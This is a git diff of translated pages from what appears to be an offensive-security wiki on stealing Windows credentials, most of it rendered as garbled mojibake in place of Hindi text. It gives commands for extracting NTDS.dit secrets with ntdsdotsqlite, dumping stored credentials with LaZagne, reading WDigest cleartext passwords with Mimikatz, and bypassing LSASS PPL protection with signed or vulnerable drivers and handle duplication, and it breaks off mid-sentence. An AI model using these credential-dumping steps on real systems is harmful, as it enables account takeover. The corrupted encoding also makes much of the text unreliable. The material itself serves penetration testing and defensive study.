[ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite) рдХреЗ рд╕рд╛рде SQLite рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рди рдХреЗрд╡рд▓ рд░рд╣рд╕реНрдп рдирд┐рдХрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рдмрд▓реНрдХрд┐ рдкреВрд░реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдФрд░ рдЙрдирдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рднреА рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИрдВ рддрд╛рдХрд┐ рдХрдЪреНрдЪреЗ NTDS.dit рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░ рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХреЗред +NTDS рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite) рдХреЗ рд╕рд╛рде SQLite рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рди рдХреЗрд╡рд▓ рд░рд╣рд╕реНрдп рдирд┐рдХрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рдмрд▓реНрдХрд┐ рдкреВрд░реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдФрд░ рдЙрдирдХреЗ рдЧреБрдг рднреА рдирд┐рдХрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХрдЪреНрдЪреЗ NTDS.dit рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░ рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХреЗред ``` ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive ``` -`SYSTEM` рд╣рд╛рдЗрд╡ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рд░рд╣рд╕реНрдпреЛрдВ рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (NT & LM рд╣реИрд╢, рд╕рдкреНрд▓реАрдореЗрдВрдЯрд▓ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬреИрд╕реЗ рдХрд┐ рдХреНрд▓рд┐рдпрд░рдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб, kerberos рдпрд╛ рдЯреНрд░рд╕реНрдЯ рдХреА, NT & LM рдкрд╛рд╕рд╡рд░реНрдб рдЗрддрд┐рд╣рд╛рд╕)ред рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдорд╢реАрди рдЦрд╛рддреЗ рдЙрдирдХреЗ рд╣реИрд╢ рдХреЗ рд╕рд╛рде, UAC рдлреНрд▓реИрдЧ, рдЕрдВрддрд┐рдо рд▓реЙрдЧрд┐рди рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдкрд░рд┐рд╡рд░реНрддрди рдХрд╛ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк, рдЦрд╛рддреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг, рдирд╛рдо, UPN, SPN, рд╕рдореВрд╣ рдФрд░ рдкреБрдирд░рд╛рд╡реГрддреНрдд рд╕рджрд╕реНрдпрддрд╛рдПрдБ, рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЗрдХрд╛рдЗрдпреЛрдВ рдХрд╛ рдкреЗрдбрд╝ рдФрд░ рд╕рджрд╕реНрдпрддрд╛, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдЬрд┐рдирдореЗрдВ рдЯреНрд░рд╕реНрдЯ рдХрд╛ рдкреНрд░рдХрд╛рд░, рджрд┐рд╢рд╛ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ... +`SYSTEM` рд╣рд╛рдЗрд╡ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рд░рд╣рд╕реНрдпреЛрдВ рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (NT & LM рд╣реИрд╢, рд╕рдкреНрд▓реАрдореЗрдВрдЯрд▓ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬреИрд╕реЗ рдХрд┐ рдХреНрд▓рд┐рдпрд░рдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб, kerberos рдпрд╛ рдЯреНрд░рд╕реНрдЯ рдХреА, NT & LM рдкрд╛рд╕рд╡рд░реНрдб рдЗрддрд┐рд╣рд╛рд╕)ред рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдорд╢реАрди рдЦрд╛рддреЗ рдЙрдирдХреЗ рд╣реИрд╢ рдХреЗ рд╕рд╛рде, UAC рдлреНрд▓реИрдЧ, рдЕрдВрддрд┐рдо рд▓реЙрдЧрд┐рди рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк, рдЦрд╛рддреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг, рдирд╛рдо, UPN, SPN, рд╕рдореВрд╣ рдФрд░ рдкреБрдирд░рд╛рд╡реГрддреНрдд рд╕рджрд╕реНрдпрддрд╛рдПрдБ, рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЗрдХрд╛рдЗрдпреЛрдВ рдХрд╛ рдкреЗрдбрд╝ рдФрд░ рд╕рджрд╕реНрдпрддрд╛, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдЬрд┐рдирдореЗрдВ рдЯреНрд░рд╕реНрдЯ рдХрд╛ рдкреНрд░рдХрд╛рд░, рджрд┐рд╢рд╛ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ... ## Lazagne -рдмрд╛рдЗрдирд░реА [рдпрд╣рд╛рдБ](https://github.com/AlessandroZ/LaZagne/releases) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред рдЖрдк рдЗрд╕ рдмрд╛рдЗрдирд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software. ``` lazagne.exe all ``` diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 4ba678c8a..ebf428455 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -6,65 +6,94 @@ ## WDigest -The [WDigest]() рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ Windows XP рдХреЗ рд╕рд╛рде рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ **Windows XP рд╕реЗ Windows 8.0 рдФрд░ Windows Server 2003 рд╕реЗ Windows Server 2012 рддрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рд╣реИ**ред рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ **LSASS рдореЗрдВ рд╕реНрдкрд╖реНрдЯ-рдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рднрдВрдбрд╛рд░рдг** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрддреА рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ Mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ**: +[WDigest]() рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ Windows XP рдХреЗ рд╕рд╛рде рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ **Windows XP рд╕реЗ Windows 8.0 рдФрд░ Windows Server 2003 рд╕реЗ Windows Server 2012 рддрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рд╣реИ**ред рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ **LSASS рдореЗрдВ рд╕реНрдкрд╖реНрдЯ-рдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рднрдВрдбрд╛рд░рдг** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрддреА рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ Mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ**: ```bash sekurlsa::wdigest ``` -рдЗрд╕ рдлрд╝реАрдЪрд░ рдХреЛ **рдмрдВрдж рдпрд╛ рдЪрд╛рд▓реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**, _**UseLogonCredential**_ рдФрд░ _**Negotiate**_ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ рдХреЗ рднреАрддрд░ "1" рдкрд░ рд╕реЗрдЯ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдпреЗ рдХреБрдВрдЬреА **рдЧрд╛рдпрдм рд╣реИрдВ рдпрд╛ "0" рдкрд░ рд╕реЗрдЯ рд╣реИрдВ**, рддреЛ WDigest **рдЕрдХреНрд╖рдо** рд╣реИ: +рдЗрд╕ рдлрд╝реАрдЪрд░ рдХреЛ **рдЪрд╛рд▓реВ рдпрд╛ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**, _**UseLogonCredential**_ рдФрд░ _**Negotiate**_ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬрд┐рдпрд╛рдБ _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ рдХреЗ рднреАрддрд░ "1" рдкрд░ рд╕реЗрдЯ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдпреЗ рдХреБрдВрдЬрд┐рдпрд╛рдБ **рдЧрд╛рдпрдм рд╣реИрдВ рдпрд╛ "0" рдкрд░ рд╕реЗрдЯ рд╣реИрдВ**, рддреЛ WDigest **рдЕрдХреНрд╖рдо** рд╣реИ: ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -## LSA рд╕реБрд░рдХреНрд╖рд╛ +## LSA Protection (PP & PPL protected processes) -**Windows 8.1** рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, Microsoft рдиреЗ LSA рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ **рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЕрдирдзрд┐рдХреГрдд рдореЗрдореЛрд░реА рдкрдврд╝рдиреЗ рдпрд╛ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рд░реЛрдХрдиреЗ** рдХреЗ рд▓рд┐рдП рдмрдврд╝рд╛рдпрд╛ред рдпрд╣ рд╕реБрдзрд╛рд░ `mimikatz.exe sekurlsa:logonpasswords` рдЬреИрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рдХрд╛рд░реНрдп рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ _**рд╕реБрдзрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛**_ рдХреЛ **рд╕рдХреНрд╖рдо рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП, _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ рдореЗрдВ _**RunAsPPL**_ рдорд╛рди рдХреЛ 1 рдкрд░ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП: -``` -reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL -``` -### Bypass +**Protected Process (PP)** рдФрд░ **Protected Process Light (PPL)** **Windows kernel-level protections** рд╣реИрдВ рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдЬреИрд╕реЗ **LSASS** рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИрдВред **Windows Vista** рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛, **PP model** рдореВрд▓ рд░реВрдк рд╕реЗ **DRM** рдкреНрд░рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдХреЗрд╡рд▓ **рд╡рд┐рд╢реЗрд╖ рдореАрдбрд┐рдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░** рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдмрд╛рдЗрдирд░реА рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рдереАред рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬрд┐рд╕реЗ **PP** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдВрдЪреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдЬреЛ **рднреА PP** рд╣реИрдВ рдФрд░ рдЬрд┐рдирдХрд╛ **рд╕рдорд╛рди рдпрд╛ рдЙрдЪреНрдЪ рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░** рд╣реИ, рдФрд░ рддрдм рднреА, **рдХреЗрд╡рд▓ рд╕реАрдорд┐рдд рдкрд╣реБрдВрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ** рдХреЗ рд╕рд╛рде рдЬрдм рддрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐ рди рджреА рдЬрд╛рдПред -рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ Mimikatz рдбреНрд░рд╛рдЗрд╡рд░ mimidrv.sys рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: +**PPL**, рдЬреЛ **Windows 8.1** рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛, PP рдХрд╛ рдПрдХ рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛ рд╕рдВрд╕реНрдХрд░рдг рд╣реИред рдпрд╣ **"рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░реЛрдВ"** рдХреЛ рдкреЗрд╢ рдХрд░рдХреЗ **рд╡реНрдпрд╛рдкрдХ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдорд▓реЛрдВ** (рдЬреИрд╕реЗ, LSASS, Defender) рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ **рдбрд┐рдЬрд┐рдЯрд▓ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдХреЗ EKU (Enhanced Key Usage)** рдХреНрд╖реЗрддреНрд░ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИрдВред рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░ `EPROCESS.Protection` рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ `PS_PROTECTION` рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ: +- **Type** (`Protected` рдпрд╛ `ProtectedLight`) +- **Signer** (рдЬреИрд╕реЗ, `WinTcb`, `Lsa`, `Antimalware`, рдЖрджрд┐) + +рдпрд╣ рд╕рдВрд░рдЪрдирд╛ рдПрдХ рдПрдХрд▓ рдмрд╛рдЗрдЯ рдореЗрдВ рдкреИрдХ рдХреА рдЧрдИ рд╣реИ рдФрд░ **рдХреМрди рдХрд┐рд╕рд╕реЗ рдкрд╣реБрдВрдЪ рд╕рдХрддрд╛ рд╣реИ** рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреА рд╣реИ: +- **рдЙрдЪреНрдЪ рд╕рд╛рдЗрдирд░ рдорд╛рди рдирд┐рдореНрди рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** +- **PPLs PP рдХреЛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ** +- **рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рдХрд┐рд╕реА рднреА PPL/PP рдХреЛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреАрдВ** + +### What you need to know from an offensive perspective + +- рдЬрдм **LSASS PPL рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ**, рдЗрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╕рдВрджрд░реНрдн рд╕реЗ `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦреЛрд▓рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ **`0x5 (Access Denied)`** рдХреЗ рд╕рд╛рде рд╡рд┐рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рднрд▓реЗ рд╣реА `SeDebugPrivilege` рд╕рдХреНрд╖рдо рд╣реЛред +- рдЖрдк **LSASS рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░** рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ Process Hacker рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдЯрд┐рдХ рд░реВрдк рд╕реЗ `EPROCESS.Protection` рдорд╛рди рдХреЛ рдкрдврд╝рдХрд░ред +- LSASS рдЖрдорддреМрд░ рдкрд░ `PsProtectedSignerLsa-Light` (`0x41`) рд╣реЛрдЧрд╛, рдЬрд┐рд╕реЗ **рдХреЗрд╡рд▓ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рд╕рд╛рдЗрдирд░** рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ `WinTcb` (`0x61` рдпрд╛ `0x62`)ред +- PPL рдПрдХ **Userland-only restriction** рд╣реИ; **kernel-level code рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +- LSASS рдХрд╛ PPL рд╣реЛрдирд╛ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдбрдВрдкрд┐рдВрдЧ рдХреЛ рд░реЛрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдпрджрд┐ рдЖрдк рдХрд░реНрдиреЗрд▓ рд╢реЗрд▓рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╛ **рдЙрдЪрд┐рдд рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде рдЙрдЪреНрдЪ-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ**ред +- **PPL рд╕реЗрдЯ рдХрд░рдирд╛ рдпрд╛ рд╣рдЯрд╛рдирд╛** рд░рд┐рдмреВрдЯ рдпрд╛ **Secure Boot/UEFI рд╕реЗрдЯрд┐рдВрдЧреНрд╕** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдЙрд▓рдЯрдиреЗ рдХреЗ рдмрд╛рдж рднреА PPL рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ рдмрдирд╛рдП рд░рдЦ рд╕рдХрддреА рд╣реИрдВред + +**Bypass PPL protections options:** + +рдпрджрд┐ рдЖрдк PPL рдХреЗ рдмрд╛рд╡рдЬреВрдж LSASS рдХреЛ рдбрдВрдк рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ 3 рдореБрдЦреНрдп рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ: +1. **рдПрдХ рд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП рдХрд░реНрдиреЗрд▓ рдбреНрд░рд╛рдЗрд╡рд░ (рдЬреИрд╕реЗ, Mimikatz + mimidrv.sys)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ **LSASS рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдзреНрд╡рдЬ рдХреЛ рд╣рдЯрд╛ рд╕рдХреЗрдВ**: ![](../../images/mimidrv.png) +2. **Bring Your Own Vulnerable Driver (BYOVD)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдХрд╕реНрдЯрдо рдХрд░реНрдиреЗрд▓ рдХреЛрдб рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред **PPLKiller**, **gdrv-loader**, рдпрд╛ **kdmapper** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдЗрд╕реЗ рд╕рдВрднрд╡ рдмрдирд╛рддреЗ рд╣реИрдВред +3. **рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдПрдХ рдореМрдЬреВрджрд╛ LSASS рд╣реИрдВрдбрд▓ рдЪреБрд░рд╛рдПрдВ** рдЬреЛ рдЗрд╕реЗ рдЦреЛрд▓реЗ рд╣реБрдП рд╣реИ (рдЬреИрд╕реЗ, рдПрдХ AV рдкреНрд░рдХреНрд░рд┐рдпрд╛), рдлрд┐рд░ рдЗрд╕реЗ **рдЕрдкрдиреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВ**ред рдпрд╣ `pypykatz live lsa --method handledup` рддрдХрдиреАрдХ рдХрд╛ рдЖрдзрд╛рд░ рд╣реИред +4. **рдХреБрдЫ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ** рдЬреЛ рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдкрддреЗ рдХреА рдЬрдЧрд╣ рдореЗрдВ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ PPL рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ред рдЖрдк рдЗрд╕рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) рдпрд╛ [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред + +**LSASS рдХреЗ рд▓рд┐рдП LSA рд╕реБрд░рдХреНрд╖рд╛ (PPL/PP) рдХреА рд╡рд░реНрддрдорд╛рди рд╕реНрдерд┐рддрд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ**: +```bash +reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL +``` +рдЬрдм рдЖрдк **`mimikatz privilege::debug sekurlsa::logonpasswords`** рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╢рд╛рдпрдж `0x00000005` рддреНрд░реБрдЯрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде рд╡рд┐рдлрд▓ рд╣реЛ 